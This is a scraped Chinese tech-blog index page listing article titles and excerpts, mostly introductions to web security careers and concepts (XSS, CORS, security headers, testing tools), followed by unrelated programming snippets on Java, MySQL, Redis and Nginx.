<div>前言：想自学网络安全（黑客技术）首先你得了解什么是网络安全！什么是黑客！网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟</div> </li> <li><a href="/article/1832003242897272832.htm" title="SecurityHeaders：为.Net网站添加安全标头，让Web更加安全、避免攻击！" target="_blank">SecurityHeaders：为.Net网站添加安全标头，让Web更加安全、避免攻击！</a> 编程乐趣 <a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>网站的安全对于任何一家公司都是非常重要的。为了保证Web安全，其中Http安全标头就是非常重要一个的措施。设定正确的安全头可以增强网站的安全性，因为它们可以帮助防止各种网络攻击，如跨站脚本（XSS）、点击劫持（Clickjacking）和内容类型嗅探（ContentTypeSniffing）等。下面推荐一个开源项目，可以让我们轻松地添加安全相关的HTTP头到网站中。01项目简介NetEscapad</div> </li> <li><a href="/article/1831752505365721088.htm" title="Web安全和渗透测试有什么关系？" target="_blank">Web安全和渗透测试有什么关系？</a> 程序员_大白 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a> <div>做渗透测试的一个环节就是测试web安全，需要明白漏洞产生原理，通过信息收集互联网暴露面，进行漏洞扫描，漏洞利用，必要时进行脚本自编写和手工测试，力求挖出目标存在的漏洞并提出整改建议，当然如果技术再精一些，还要学习内网渗透（工作组和域环境），白盒审计，app，小程序渗透那些了......总之，web安全包含于渗透测试，但不是渗透测试的全部。`黑客&网络安全如何学习今天只要你给我的文章点赞，我私藏的网</div> </li> <li><a href="/article/1831631344136974336.htm" title="网络安全（黑客）自学" target="_blank">网络安全（黑客）自学</a> 白帽子凯哥 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你是一</div> </li> <li><a href="/article/1831501123245142016.htm" title="零基础能学网络安全吗？" target="_blank">零基础能学网络安全吗？</a> leah126 <a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>当然可以。但网络安全有很多方向，如果你想转行网络安全技术方向，建议先着手学web安全方向。因为，web安全相对于整个网络安全行业来说难度是相对比较低的，学起来更加容易入手。虽然渗透测试工程师、溯源取证、红蓝攻防等等这些岗位看起来很不错，但是技术门槛特别高，对于0基础的人来说学起来会相当吃力。所以，web安全方向对于初学者来说是最好入门选择。那么该如何学习呢？1.买一本《白帽子讲web安全》，先了解</div> </li> <li><a href="/article/1831447681080324096.htm" title="【网络安全面经】渗透面经、安服面经、红队面经、hw面经应有尽有这一篇真的够了" target="_blank">【网络安全面经】渗透面经、安服面经、红队面经、hw面经应有尽有这一篇真的够了</a> webfker from 0 to 1 <a class="tag" taget="_blank" href="/search/github/1.htm">github</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>目录面经牛客奇安信面经（五星推荐）牛客面经（推荐）渗透测试面经（推荐）渗透测试技巧计网面经SQL注入漏洞注入绕过XXE漏洞最强面经Github面经模拟面WEB安全PHP安全网络安全密码学一、青藤二、360三、漏洞盒子四、未知厂商五、长亭-红队六、qax七、天融信八、安恒九、长亭十、国誉网安十一、360-红队十二、天融信十三、长亭-2十四、360-2十五、极盾科技十六、阿里十七、长亭3十八、qax-</div> </li> <li><a href="/article/1831347352305233920.htm" title="CORS是什么，功能如何实现" target="_blank">CORS是什么，功能如何实现</a> 茶卡盐佑星_ <a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/es6/1.htm">es6</a> <div>CORS，全称为“跨域资源共享”（Cross-OriginResourceSharing），是一种浏览器技术的规范，允许浏览器向跨源服务器发出XMLHttpRequest请求，从而克服了AJAX只能同源使用的限制。CORS是Web安全领域的一个重要概念，旨在确保浏览器端与服务器端之间安全地进行跨域通信。CORS的功能CORS的主要功能是：安全跨域通信：允许前端页面从与其不同源的服务器请求资源，如A</div> </li> <li><a href="/article/1831251942815395840.htm" title="网站安全检测：推荐 8 款免费的 Web 安全测试工具" target="_blank">网站安全检测：推荐 8 款免费的 Web 安全测试工具</a> 白帽黑客2659 <a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E6%B5%8B%E8%AF%95%E5%B7%A5%E5%85%B7/1.htm">测试工具</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/ddos/1.htm">ddos</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a> <div>目录1.OWASPZAP(ZedAttackProxy)2.BurpSuiteFreeEdition3.Nikto4.w3af5.SQLMap6.Arachni7.XSSer8.SecurityHeaders.io使用这些工具的建议网站安全是确保数据保护和系统完整性的重要组成部分。对于希望增强网站安全性的开发者和管理员来说，利用有效的工具进行定期的安全测试是必不可少的。以下是8款免费的Web安全测</div> </li> <li><a href="/article/1831137725458247680.htm" title="网络安全笔记-信息安全工程师与网络安全工程师考试大纲（附：Web安全大纲）_信息网络安全师认证(inspc)培训工作大纲" target="_blank">网络安全笔记-信息安全工程师与网络安全工程师考试大纲（附：Web安全大纲）_信息网络安全师认证(inspc)培训工作大纲</a> 程序员安安 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a> <div>Web安全大纲2024信息安全工程师考试大纲1、考试目标通过本考试的合格人员能够掌握网络信息安全的基础知识和技术原理；根据国家网络信息安全相关法律法规及业务安全保障要求，能够规划、设计信息系统安全方案，能够配置和维护常见的网络安全设备及系统；能够对信息系统的网络安全风险进行监测和分析，并给出网络安全风险问题的整改建议；能够协助相关部门对单位的信息系统进行网络安全审计和网络安全事件调查；能够对网络信</div> </li> <li><a href="/article/1831049730419945472.htm" title="javaWeb安全漏洞修复总结" target="_blank">javaWeb安全漏洞修复总结</a> dechen6073 <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a> <div>1Web安全介绍12SQL注入、盲注12.1SQL注入、盲注概述12.2安全风险及原因22.3AppScan扫描建议22.4应用程序解决方案43会话标识未更新73.1会话标识未更新概述73.2安全风险及原因分析73.3AppScan扫描建议83.4应用程序解决方案84已解密登录请求84.1已解密登录请求概述84.2安全风险及原因分析84.3AppScan扫描建议94.4应用程序解决方案95跨站点请</div> </li> <li><a href="/article/1830726423149637632.htm" title="Web安全之XSS跨站脚本攻击" target="_blank">Web安全之XSS跨站脚本攻击</a> Shadow_143 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a> <div>1.XSS漏洞简介XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。2.XSS</div> </li> <li><a href="/article/1829831756220559360.htm" title="小白如何快速入门网络安全里，主要岗位有哪些？" target="_blank">小白如何快速入门网络安全里，主要岗位有哪些？</a> baimao__沧海 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/tcpdump/1.htm">tcpdump</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>入门Web安全、安卓安全、二进制安全、工控安全还是智能硬件安全等等，每个不同的领域要掌握的技能也不同。当然入门Web安全相对难度较低，也是很多人的首选。主要还是看自己的兴趣方向吧。本文就以下几个问题来说明网络安全大致学习过程网络安全主要岗位有哪些安全领域技术方向分类渗透测试学习路线小白如何快速入门一、网络安全里的主要的岗位有哪些：渗透测试工程师：主要是模拟黑客对目标业务系统进行攻击，点到为止安全运</div> </li> <li><a href="/article/1829795955885568000.htm" title="web安全基础名词概念" target="_blank">web安全基础名词概念</a> pink鱼 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a> <div>本节内容根据小迪安全讲解制作第一天域名：1.1什么是域名？网域名称(英语：DomainName，简称：Domain)，简称域名、网域，是由一串用点分隔的字符组成的互联网上某一台计算机或计算机组的名称，用于在数据传输时标识计算机的电子方位。1.2什么是二级域名，多级域名？二级域名，通常指的是在顶级域名下面再划分的一个域名层次。它的形式通常是“子域名.顶级域名”。比如，在域名“www.example.</div> </li> <li><a href="/article/1828834836698198016.htm" title="【web安全】从2022中科大hackgame web中学习pdflatex RCE和python反序列化" target="_blank">【web安全】从2022中科大hackgame web中学习pdflatex RCE和python反序列化</a> 热心网友易小姐 <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>ctf比赛地址：https://hack.lug.ustc.edu.cn大佬博客里wp写的很清楚了，官方wp也写的很好，我比不过大佬，只能把基础多讲一些（大佬在tttang把wp全发了T0T)官方wp:https://github.com/USTC-Hackergame/hackergame2022-writeups大佬全WP：https://miaotony.xyz/?utm_source=tt</div> </li> <li><a href="/article/1828734858881495040.htm" title="网络安全工程师的学习路线" target="_blank">网络安全工程师的学习路线</a> 程序员鬼鬼 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a> <div>Web安全工程师概念基础一．了解黑客是如何工作的1.在虚拟机配置Linux系统2.漏洞测试工具3.msf控制台4.远程工具RATS5.远程访问计算机6.白帽二．技术基础漏斗扫描工具AWVSAWVS简介安装站点扫描扫码结果分析SitecrawlerHTTPEditorTargetfingerAuthenticationTeaterHTTPSnifferHTTPfuzzer网络安全审计工具：Nmap安</div> </li> <li><a href="/article/1828441153201074176.htm" title="Windows Edge浏览器对Web Authentication API的支持分析与实践应用" target="_blank">Windows Edge浏览器对Web Authentication API的支持分析与实践应用</a> 2402_85758936 <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/edge/1.htm">edge</a> <div>随着网络技术的发展，Web安全认证方式也在不断进步。WebAuthenticationAPI（通常称为WebAuthn）是一个现代的Web标准，旨在提供更安全、更便捷的认证机制。它支持多种认证方式，包括生物识别技术、硬件令牌和手机认证等。WindowsEdge作为微软的现代浏览器，对WebAuthn的支持情况如何，以及如何在实际开发中应用这一API，是本文将要探讨的主题。WebAuthentica</div> </li> <li><a href="/article/1828362496986148864.htm" title="关于6种Web安全常见的攻防姿势" target="_blank">关于6种Web安全常见的攻防姿势</a> AI大模型-搬运工 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B/1.htm">网络攻击模型</a> <div>关于Web安全的问题，是一个老生常谈的问题，作为离用户最近的一层，我们大前端应该把手伸的更远一点。我们最常见的Web安全攻击有以下几种：XSS跨站脚本攻击CSRF跨站请求伪造URL跳转漏洞ClickJacking点击劫持/UI-覆盖攻击SQLInjectionSQL注入OSCommandInjectionOS命令注入一、XSSXSS（CrossSiteScript），中文是跨站脚本攻击；其原本缩写</div> </li> <li><a href="/article/19.htm" title="解线性方程组" target="_blank">解线性方程组</a> qiuwanchi <div>package gaodai.matrix; import java.util.ArrayList; import java.util.List; import java.util.Scanner; public class Test { public static void main(String[] args) { Scanner scanner = new Sc</div> </li> <li><a href="/article/146.htm" title="在mysql内部存储代码" target="_blank">在mysql内部存储代码</a> annan211 <a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD/1.htm">性能</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B/1.htm">存储过程</a><a class="tag" taget="_blank" href="/search/%E8%A7%A6%E5%8F%91%E5%99%A8/1.htm">触发器</a> <div> 在mysql内部存储代码在mysql内部存储代码，既有优点也有缺点，而且有人倡导有人反对。先看优点： 1 她在服务器内部执行，离数据最近，另外在服务器上执行还可以节省带宽和网络延迟。 2 这是一种代码重用。可以方便的统一业务规则，保证某些行为的一致性，所以也可以提供一定的安全性。 3 可以简化代码的维护和版本更新。 4 可以帮助提升安全，比如提供更细</div> </li> <li><a href="/article/273.htm" title="Android使用Asynchronous Http Client完成登录保存cookie的问题" target="_blank">Android使用Asynchronous Http Client完成登录保存cookie的问题</a> hotsunshine <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>Asynchronous Http Client是android中非常好的异步请求工具除了异步之外还有很多封装比如json的处理，cookie的处理引用 Persistent Cookie Storage with PersistentCookieStore This library also includes a PersistentCookieStore whi</div> </li> <li><a href="/article/400.htm" title="java面试题" target="_blank">java面试题</a> Array_06 <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div>java面试题第一，谈谈final, finally, finalize的区别。 final-修饰符（关键字）如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为 abstract的，又被声明为final的。将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能</div> </li> <li><a href="/article/527.htm" title="网站加速" target="_blank">网站加速</a> oloz <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%AB%99%E5%8A%A0%E9%80%9F/1.htm">网站加速</a> <div>前序:本人菜鸟，此文研究总结来源于互联网上的资料，大牛请勿喷！本人虚心学习，多指教. 1、减小网页体积的大小，尽量采用div+css模式，尽量避免复杂的页面结构，能简约就简约。 2、采用Gzip对网页进行压缩； GZIP最早由Jean-loup Gailly和Mark Adler创建，用于UNⅨ系统的文件压缩。我们在Linux中经常会用到后缀为.gz</div> </li> <li><a href="/article/654.htm" title="正确书写单例模式" target="_blank">正确书写单例模式</a> 随意而生 <a class="tag" taget="_blank" href="/search/java+%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F+%E5%8D%95%E4%BE%8B/1.htm">java 设计模式单例</a> <div>　　单例模式算是设计模式中最容易理解，也是最容易手写代码的模式了吧。但是其中的坑却不少，所以也常作为面试题来考。本文主要对几种单例写法的整理，并分析其优缺点。很多都是一些老生常谈的问题，但如果你不知道如何创建一个线程安全的单例，不知道什么是双检锁，那这篇文章可能会帮助到你。　　懒汉式，线程不安全　　当被问到要实现一个单例模式时，很多人的第一反应是写出如下的代码，包括教科书上也是这样</div> </li> <li><a href="/article/781.htm" title="单例模式" target="_blank">单例模式</a> 香水浓 <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>懒汉调用getInstance方法时实例化 public class Singleton { private static Singleton instance; private Singleton() {} public static synchronized Singleton getInstance() { if(null == ins</div> </li> <li><a href="/article/908.htm" title="安装Apache问题：系统找不到指定的文件 No installed service named "Apache2"" target="_blank">安装Apache问题：系统找不到指定的文件 No installed service named "Apache2"</a> AdyZhang <a class="tag" taget="_blank" href="/search/apache/1.htm">apache</a><a class="tag" taget="_blank" href="/search/http+server/1.htm">http server</a> <div>安装Apache问题：系统找不到指定的文件 No installed service named "Apache2" 每次到这一步都很小心防它的端口冲突问题，结果，特意留出来的80端口就是不能用，烦。解决方法确保几处： 1、停止IIS启动 2、把端口80改成其它（譬如90，800，，，什么数字都好） 3、防火墙(关掉试试) 在运行处输入 cmd 回车，转到apa</div> </li> <li><a href="/article/1035.htm" title="如何在android 文件选择器中选择多个图片或者视频？" target="_blank">如何在android 文件选择器中选择多个图片或者视频？</a> aijuans <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>我的android app有这样的需求，在进行照片和视频上传的时候，需要一次性的从照片/视频库选择多条进行上传但是android原生态的sdk中，只能一个一个的进行选择和上传。我想知道是否有其他的android上传库可以解决这个问题，提供一个多选的功能，可以使checkbox之类的，一次选择多个处理方法官方的图片选择器(但是不支持所有版本的androi，只支持API Level </div> </li> <li><a href="/article/1162.htm" title="mysql中查询生日提醒的日期相关的sql" target="_blank">mysql中查询生日提醒的日期相关的sql</a> baalwolf <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>SELECT sysid,user_name,birthday,listid,userhead_50,CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')),CURDATE(), dayofyear( CONCAT(YEAR(CURDATE()),DATE_FORMAT(birthday,'-%m-%d')))-dayofyear(</div> </li> <li><a href="/article/1289.htm" title="MongoDB索引文件破坏后导致查询错误的问题" target="_blank">MongoDB索引文件破坏后导致查询错误的问题</a> BigBird2012 <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a> <div>问题描述： MongoDB在非正常情况下关闭时，可能会导致索引文件破坏，造成数据在更新时没有反映到索引上。解决方案：使用脚本，重建MongoDB所有表的索引。 var names = db.getCollectionNames(); for( var i in names ){ var name = names[i]; print(name); </div> </li> <li><a href="/article/1416.htm" title="Javascript Promise" target="_blank">Javascript Promise</a> bijian1013 <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/Promise/1.htm">Promise</a> <div> Parse JavaScript SDK现在提供了支持大多数异步方法的兼容jquery的Promises模式，那么这意味着什么呢，读完下文你就了解了。一.认识Promises “Promises”代表着在javascript程序里下一个伟大的范式，但是理解他们为什么如此伟大不是件简</div> </li> <li><a href="/article/1543.htm" title="[Zookeeper学习笔记九]Zookeeper源代码分析之Zookeeper构造过程" target="_blank">[Zookeeper学习笔记九]Zookeeper源代码分析之Zookeeper构造过程</a> bit1129 <a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a> <div> Zookeeper重载了几个构造函数，其中构造者可以提供参数最多，可定制性最多的构造函数是 public ZooKeeper(String connectString, int sessionTimeout, Watcher watcher, long sessionId, byte[] sessionPasswd, boolea</div> </li> <li><a href="/article/1670.htm" title="【Java命令三】jstack" target="_blank">【Java命令三】jstack</a> bit1129 <a class="tag" taget="_blank" href="/search/jstack/1.htm">jstack</a> <div>jstack是用于获得当前运行的Java程序所有的线程的运行情况(thread dump），不同于jmap用于获得memory dump [hadoop@hadoop sbin]$ jstack Usage: jstack [-l] <pid> (to connect to running process) jstack -F </div> </li> <li><a href="/article/1797.htm" title="jboss 5.1启停脚本　动静分离部署" target="_blank">jboss 5.1启停脚本　动静分离部署</a> ronin47 <div>以前启动jboss，往各种xml配置文件，现只要运行一句脚本即可。start nohup sh /**/run.sh -c servicename -b ip -g clustername -u broatcast jboss.messaging.ServerPeerID=int -Djboss.service.binding.set=p</div> </li> <li><a href="/article/1924.htm" title="UI之如何打磨设计能力?" target="_blank">UI之如何打磨设计能力?</a> brotherlamp <a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/ui%E6%95%99%E7%A8%8B/1.htm">ui教程</a><a class="tag" taget="_blank" href="/search/ui%E8%87%AA%E5%AD%A6/1.htm">ui自学</a><a class="tag" taget="_blank" href="/search/ui%E8%B5%84%E6%96%99/1.htm">ui资料</a><a class="tag" taget="_blank" href="/search/ui%E8%A7%86%E9%A2%91/1.htm">ui视频</a> <div> 在越来越拥挤的初创企业世界里，视觉设计的重要性往往可以与杀手级用户体验比肩。在许多情况下，尤其对于 Web 初创企业而言，这两者都是不可或缺的。前不久我们在《右脑革命：别学编程了，学艺术吧》中也曾发出过重视设计的呼吁。如何才能提高初创企业的设计能力呢?以下是 9 位创始人的体会。 1.找到自己的方式如果你是设计师，要想提高技能可以去设计博客和展示好设计的网站如D-lists或</div> </li> <li><a href="/article/2051.htm" title="三色旗算法" target="_blank">三色旗算法</a> bylijinnan <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a> <div> import java.util.Arrays; /** 问题：假设有一条绳子，上面有红、白、蓝三种颜色的旗子，起初绳子上的旗子颜色并没有顺序，您希望将之分类，并排列为蓝、白、红的顺序，要如何移动次数才会最少，注意您只能在绳子上进行这个动作，而且一次只能调换两个旗子。网上的解法大多类似：在一条绳子上移动，在程式中也就意味只能使用一个阵列，而不使用其它的阵列来</div> </li> <li><a href="/article/2178.htm" title="警告:No configuration found for the specified action: \'s" target="_blank">警告:No configuration found for the specified action: \'s</a> chiangfai <a class="tag" taget="_blank" href="/search/configuration/1.htm">configuration</a> <div>1.index.jsp页面form标签未指定namespace属性。  <%@taglib prefix="s" uri="/struts-tags"%> ... <s:form action="submit" method="post"&g</div> </li> <li><a href="/article/2305.htm" title="redis -- hash_max_zipmap_entries设置过大有问题" target="_blank">redis -- hash_max_zipmap_entries设置过大有问题</a> chenchao051 <a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/hash/1.htm">hash</a> <div>使用redis时为了使用hash追求更高的内存使用率，我们一般都用hash结构，并且有时候会把hash_max_zipmap_entries这个值设置的很大，很多资料也推荐设置到1000，默认设置为了512，但是这里有个坑 #define ZIPMAP_BIGLEN 254 #define ZIPMAP_END 255 /* Return th</div> </li> <li><a href="/article/2432.htm" title="select into outfile access deny问题" target="_blank">select into outfile access deny问题</a> daizj <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/txt/1.htm">txt</a><a class="tag" taget="_blank" href="/search/%E5%AF%BC%E5%87%BA%E6%95%B0%E6%8D%AE%E5%88%B0%E6%96%87%E4%BB%B6/1.htm">导出数据到文件</a> <div>本文转自：http://hatemysql.com/2010/06/29/select-into-outfile-access-deny%E9%97%AE%E9%A2%98/ 为应用建立了rnd的帐号，专门为他们查询线上数据库用的，当然，只有他们上了生产网络以后才能连上数据库，安全方面我们还是很注意的，呵呵。授权的语句如下： grant select on armory.* to rn</div> </li> <li><a href="/article/2559.htm" title="phpexcel导出excel表简单入门示例" target="_blank">phpexcel导出excel表简单入门示例</a> dcj3sjt126com <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/Excel/1.htm">Excel</a><a class="tag" taget="_blank" href="/search/phpexcel/1.htm">phpexcel</a> <div> <?php error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); if (PHP_SAPI == 'cli') die('This example should only be run from a Web Brows</div> </li> <li><a href="/article/2686.htm" title="美国电影超短200句" target="_blank">美国电影超短200句</a> dcj3sjt126com <a class="tag" taget="_blank" href="/search/%E7%94%B5%E5%BD%B1/1.htm">电影</a> <div>1. I see．我明白了。2. I quit! 我不干了!3. Let go! 放手!4. Me too．我也是。5. My god! 天哪!6. No way! 不行!7. Come on．来吧(赶快)8. Hold on．等一等。9. I agree。我同意。10. Not bad．还不错。11. Not yet．还没。12. See you．再见。13. Shut up! </div> </li> <li><a href="/article/2813.htm" title="Java访问远程服务" target="_blank">Java访问远程服务</a> dyy_gusi <a class="tag" taget="_blank" href="/search/httpclient/1.htm">httpclient</a><a class="tag" taget="_blank" href="/search/webservice/1.htm">webservice</a><a class="tag" taget="_blank" href="/search/get/1.htm">get</a><a class="tag" taget="_blank" href="/search/post/1.htm">post</a> <div> 随着webService的崛起，我们开始中会越来越多的使用到访问远程webService服务。当然对于不同的webService框架一般都有自己的client包供使用，但是如果使用webService框架自己的client包，那么必然需要在自己的代码中引入它的包，如果同时调运了多个不同框架的webService，那么就需要同时引入多个不同的clien</div> </li> <li><a href="/article/2940.htm" title="Maven的settings.xml配置" target="_blank">Maven的settings.xml配置</a> geeksun <a class="tag" taget="_blank" href="/search/settings.xml/1.htm">settings.xml</a> <div>settings.xml是Maven的配置文件，下面解释一下其中的配置含义： settings.xml存在于两个地方： 1.安装的地方：$M2_HOME/conf/settings.xml 2.用户的目录：${user.home}/.m2/settings.xml 前者又被叫做全局配置，后者被称为用户配置。如果两者都存在，它们的内容将被合并，并且用户范围的settings.xml优先。 </div> </li> <li><a href="/article/3067.htm" title="ubuntu的init与系统服务设置" target="_blank">ubuntu的init与系统服务设置</a> hongtoushizi <a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a> <div>转载自： http://iysm.net/?p=178 init Init是位于/sbin/init的一个程序，它是在linux下，在系统启动过程中，初始化所有的设备驱动程序和数据结构等之后，由内核启动的一个用户级程序，并由此init程序进而完成系统的启动过程。 ubuntu与传统的linux略有不同，使用upstart完成系统的启动，但表面上仍维持init程序的形式。运行</div> </li> <li><a href="/article/3194.htm" title="跟我学Nginx+Lua开发目录贴" target="_blank">跟我学Nginx+Lua开发目录贴</a> jinnianshilongnian <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/lua/1.htm">lua</a> <div>使用Nginx+Lua开发近一年的时间，学习和实践了一些Nginx+Lua开发的架构，为了让更多人使用Nginx+Lua架构开发，利用春节期间总结了一份基本的学习教程，希望对大家有用。也欢迎谈探讨学习一些经验。目录第一章安装Nginx+Lua开发环境第二章 Nginx+Lua开发入门第三章 Redis/SSDB+Twemproxy安装与使用第四章 L</div> </li> <li><a href="/article/3321.htm" title="php位运算符注意事项" target="_blank">php位运算符注意事项</a> home198979 